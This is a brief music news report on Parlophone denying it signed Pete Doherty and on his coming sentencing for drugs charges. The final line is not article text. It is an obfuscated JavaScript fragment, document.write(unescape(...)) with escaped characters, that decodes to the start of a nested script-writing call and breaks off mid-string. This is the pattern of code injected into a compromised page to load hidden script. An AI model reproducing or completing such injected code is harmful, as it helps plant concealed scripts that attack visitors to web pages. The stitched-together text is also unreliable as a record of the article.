Parlophone have played down reports that they have signed Pete Doherty.
Newspapers suggested the former Libertine had signed with the label for around £1 million.
However the home of the likes of Lily Allen and Coldplay have distanced themselves from those stories, though have admitted they had been in "talks" with Doherty.
A spokesperson for the label issued the following brief statement: "We are looking forward to making a great record with Babyshambles."
Meanwhile, as previously reported, Doherty is due in court for sentencing on September 4 for several drugs charges. He has been warned by magistrates he faces "the possibility of custody".document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22